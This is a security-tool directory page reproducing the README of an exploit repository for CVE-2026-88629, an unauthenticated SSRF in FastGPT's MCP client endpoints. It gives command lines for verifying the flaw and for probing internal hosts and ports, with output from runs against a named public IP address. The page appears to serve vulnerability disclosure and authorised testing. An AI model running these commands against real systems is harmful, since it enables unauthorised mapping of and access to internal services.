Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-88629-fastgpt-mcp-client-ssrf — Python PoC and exploitation script for CVE-2026-88629, an unauthenticated SSRF in FastGPT MCP client getTools/runTool endpoints, with intranet port probing. | Kitploit
Tools/GitHubGitHub/exploreio/cve-2026-88629-fastgpt-mcp-client-ssrf
ReconnaissanceNetwork MappingVulnerability AnalysisWeb Application ExploitationPenetration Testing
GitHubexploreio/cve-2026-88629-fastgpt-mcp-client-ssrf

CVE-2026-88629-fastgpt-mcp-client-ssrf

Python PoC and exploitation script for CVE-2026-88629, an unauthenticated SSRF in FastGPT MCP client getTools/runTool endpoints, with intranet port probing.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
11 month agoNot yet reviewed

FastGPT getTools and runTool SSRF Vulnerability Reproduction

English | 简体中文

Vulnerability Description

Affected Versions: FastGPT Community Edition 4.10.0 ~ 4.14.x

Both the getTools and runTool endpoints under /api/support/mcp/client/ accept a url from the request body and have the server actively initiate an MCP/SSE connection to it. Neither endpoint performs any authentication, the url is fully attacker-controlled, and the connection result (connection refused / timeout / HTTP status code / response content type) is reflected back in the error messages — constituting an unauthenticated SSRF paired with an intranet-mapping oracle.

Real-world exploitation:

getTools

runTool

Script Usage

POC mode (verify the vulnerability exists):

python mcp_client_ssrf_poc.py --target https://8.155.27.243
python mcp_client_ssrf_poc.py --target https://8.155.27.243 --endpoint runTool

Verified output (excerpt):

[1] Outbound to its own public address: {"code":500,...,"message":"SSE error: TypeError: fetch failed: Hostname/IP does not match certificate's altnames..."}
[2] Outbound to a closed internal port: {"code":500,...,"message":"SSE error: TypeError: fetch failed: connect ECONNREFUSED 127.0.0.1:47654",...}

[+] VULNERABLE — The server made a real outbound request to the user-supplied URL (unauthenticated SSRF)

EXP mode (intranet IP:port probing, tri-state classification: open / closed / filtered):

python mcp_client_ssrf_poc.py --target https://8.155.27.243 --mode exp \
  --ips 127.0.0.1,172.17.0.1,172.18.0.1,sandbox,mongo \
  --ports 80,3000-3005,3306,27017 --threads 8

Verified output (20 probes, automatically discovering 4 open intranet services):

===== Intranet Asset Matrix =====
Host 127.0.0.1: open 0 | closed 5 | filtered/no response 0
Host 172.18.0.1: open 2 | closed 3 | filtered/no response 0
    [OPEN] 172.18.0.1:80    HTTP service reachable, response status code 404
    [OPEN] 172.18.0.1:3000  HTTP service reachable (non-MCP, content-type read back)
Host sandbox: open 1 | closed 4 | filtered/no response 0
    [OPEN] sandbox:3000     HTTP service reachable, response status code 500
Host mongo: open 1 | closed 4 | filtered/no response 0
    [OPEN] mongo:27017      HTTP service reachable (non-MCP, content-type read back)

[+] EXP finished: 4 open intranet services found in total

Note: The protocol/port of --target must match the actual deployment (this target serves the API only on https/443; using http/80 hits an nginx 404, and the script's pre-check will explicitly report "endpoint unreachable" rather than producing a false positive).

Detailed Write-up

Chinese

https://exploreio.github.io/2026/09/30/CVE-2026-88629/

English

https://exploreio.github.io/2026/09/30/CVE-2026-88629-EN/

Disclaimer

This proof of concept is for educational and authorized security testing purposes only. The author assumes no liability for any misuse of this information. Always obtain proper authorization before testing any system.

Download Tool